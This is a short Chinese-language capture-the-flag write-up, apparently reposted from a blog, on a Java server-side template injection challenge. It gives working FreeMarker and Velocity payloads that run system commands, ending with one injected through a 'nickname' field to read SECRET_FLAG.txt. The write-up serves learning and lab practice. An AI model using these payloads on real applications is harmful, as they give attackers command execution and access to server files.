Java - Server-side Template Injection

Exploit the vulnerability in order to retrieve the validation password in the file SECRET_FLAG.txt.

SSTI -------------------------服务端模板注入


服务器端模板:
https://www.netsparker.com/blog/web-security/server-side-template-injection/
  服务器端模板提供了一种管理HTML代码动态生成的简便方法。最大的优点是您可以生成动态HTML页面,这些页面在服务器端的读取方式类似于静态HTML。
  

  

挑战:
  nickname=${"1-1"} --------------------->双引号中的类容会被显示在网页中

freemaker的payload:
  <#assign ex="freemarker.template.utility.Execute"?new()>
  ${ ex("id") }
Velocity的payload:
  $class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
  
使用freemaker成功执行:  whoami

payload:
  nickname=<#assign ex="freemarker.template.utility.Execute"?new()>
  ${ ex("cat SECRET_FLAG.txt") }

猜你喜欢

转载自www.cnblogs.com/abbin-blog/p/12152851.html